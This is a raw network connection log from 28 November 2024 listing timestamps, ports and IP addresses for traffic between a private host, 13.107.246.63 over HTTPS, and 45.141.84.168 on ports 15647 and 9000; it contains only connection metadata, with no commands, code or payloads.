Nov 28, 2024 10:05:49.582809925 CET	49875	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.582814932 CET	443	49875	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.585351944 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.585387945 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.585489035 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.585616112 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.585628986 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.785235882 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.788330078 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.788383961 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.797902107 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.797921896 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.797957897 CET	49876	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.797964096 CET	443	49876	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.801076889 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.801110029 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.801213026 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.801384926 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.801399946 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.809876919 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.812983036 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.813028097 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.813090086 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.815547943 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.815562963 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.815574884 CET	49877	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.815578938 CET	443	49877	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.817847013 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.817914963 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:49.818049908 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.818192005 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:49.818207026 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.386739016 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.387816906 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.387839079 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.388247967 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.388252974 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.444747925 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.445132971 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.445168972 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.445624113 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.445630074 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.830936909 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.834126949 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.834165096 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.834227085 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.834265947 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.865207911 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.865223885 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.865232944 CET	49879	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.865237951 CET	443	49879	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.898298025 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.901556015 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.902966976 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.930753946 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.930785894 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:50.934501886 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:50.934510946 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.014859915 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.014889956 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.014972925 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.062665939 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.062695026 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.062908888 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.067687035 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.067699909 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.068662882 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.068676949 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.365972996 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.366456032 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.366483927 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.366918087 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.366923094 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.531918049 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.532538891 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.532562971 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.532989979 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.532994986 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.582880020 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.583450079 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.583472967 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.583884001 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.583889961 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.809746027 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.813230991 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.813291073 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.813330889 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.813349009 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.813358068 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.813364983 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.817842007 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.817862034 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.817946911 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.818144083 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.818156004 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.966135025 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.969875097 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.969928980 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.969975948 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.969990015 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.969999075 CET	49882	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.970004082 CET	443	49882	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.975966930 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.975994110 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.976052999 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.976447105 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:51.976459980 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:51.999931097 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:52.028178930 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.032654047 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.032701015 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.032708883 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.032763958 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.032849073 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.032861948 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.032874107 CET	49881	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.032879114 CET	443	49881	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.035353899 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.035387993 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.035465956 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.035602093 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.035618067 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.120089054 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:52.120203972 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:52.148905993 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:52.268918037 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:52.912260056 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.912425995 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.912956953 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.912977934 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.913425922 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.913431883 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.913746119 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.913764954 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:52.914139032 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:52.914143085 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.330122948 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:53.366014957 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.366103888 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.366460085 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.366522074 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.368561029 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.368575096 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.368583918 CET	49883	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.368587971 CET	443	49883	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.369174004 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.370970011 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.374660015 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.374689102 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.376957893 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.376959085 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.376975060 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.376985073 CET	49884	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.376991034 CET	443	49884	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.378717899 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.378731966 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.382886887 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:53.385318041 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.385368109 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.385493994 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.388042927 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.388056993 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.678845882 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.692580938 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.726643085 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.749385118 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.757494926 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.790785074 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.795665026 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.795680046 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.799616098 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.799621105 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.974431038 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.974448919 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.974862099 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.974865913 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.975850105 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.975868940 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:53.976212025 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:53.976217031 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.134603977 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.137810946 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.137871027 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.137906075 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.137921095 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.137929916 CET	49885	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.137934923 CET	443	49885	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.169536114 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.169560909 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.169739962 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.183454990 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.183470011 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.290349007 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.291678905 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.293452024 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.293502092 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.293534040 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.293545008 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.293554068 CET	49886	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.293557882 CET	443	49886	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.294758081 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.294814110 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.294817924 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.294861078 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.295972109 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.296005011 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.296017885 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.296019077 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.296027899 CET	49888	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.296032906 CET	443	49888	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.296081066 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.297373056 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.297388077 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.298376083 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.298408031 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.298474073 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.298610926 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:54.298624992 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:54.699443102 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:54.819478989 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:55.127599001 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:55.168118000 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.168292046 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.169508934 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.169538975 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.169964075 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.169971943 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.170093060 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.170104980 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.170469046 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.170473099 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.179770947 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:55.379431963 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:55.422384024 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:55.612287998 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.615974903 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.616019964 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.616035938 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.616077900 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.616247892 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.616312981 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.616358995 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.616746902 CET	49890	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.616765976 CET	443	49890	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.617615938 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.617630959 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.617640972 CET	49889	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.617646933 CET	443	49889	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.624572039 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.624617100 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.624733925 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.626358986 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.626390934 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.626439095 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.626573086 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.626590967 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.632234097 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.632249117 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.643606901 CET	49896	9000	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:55.763766050 CET	9000	49896	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:55.763838053 CET	49896	9000	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:55.764923096 CET	49896	9000	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:55.884906054 CET	9000	49896	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:55.964999914 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.965681076 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.965697050 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:55.966192961 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:55.966197968 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.016680002 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.017345905 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.017379999 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.018050909 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.018057108 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.155400991 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.156702995 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.156728029 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.157449961 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.157455921 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.410152912 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.413274050 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.413336039 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.414017916 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.414030075 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.414041996 CET	49891	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.414046049 CET	443	49891	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.452356100 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.452441931 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.452476025 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.452498913 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.452532053 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.569860935 CET	443	49800	104.98.116.138	192.168.2.7
Nov 28, 2024 10:05:56.570596933 CET	49800	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:05:56.608081102 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.611993074 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.614734888 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.860760927 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.860793114 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.860805035 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.860811949 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.902482986 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.902497053 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.902507067 CET	49893	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.902513027 CET	443	49893	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.921569109 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.921593904 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.921662092 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.921822071 CET	49898	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.921879053 CET	443	49898	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.921925068 CET	49898	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.923813105 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.923830986 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.924015045 CET	49898	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.924031019 CET	443	49898	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.925239086 CET	49899	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.925260067 CET	443	49899	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:56.925340891 CET	49899	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.926575899 CET	49899	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:56.926594019 CET	443	49899	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.247246981 CET	9000	49896	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:57.247390032 CET	9000	49896	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:57.247710943 CET	49896	9000	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:57.249913931 CET	49896	9000	192.168.2.7	45.141.84.168
Nov 28, 2024 10:05:57.369818926 CET	9000	49896	45.141.84.168	192.168.2.7
Nov 28, 2024 10:05:57.528362036 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.528371096 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.531177044 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:57.531187057 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.531784058 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:57.531789064 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.532042027 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:57.532077074 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.532468081 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:57.532473087 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.972217083 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.972279072 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.972384930 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:57.972626925 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:57.972649097 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:57.972661018 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:57.972666025 CET	443	49894	13.107.246.63	192.168.2.7
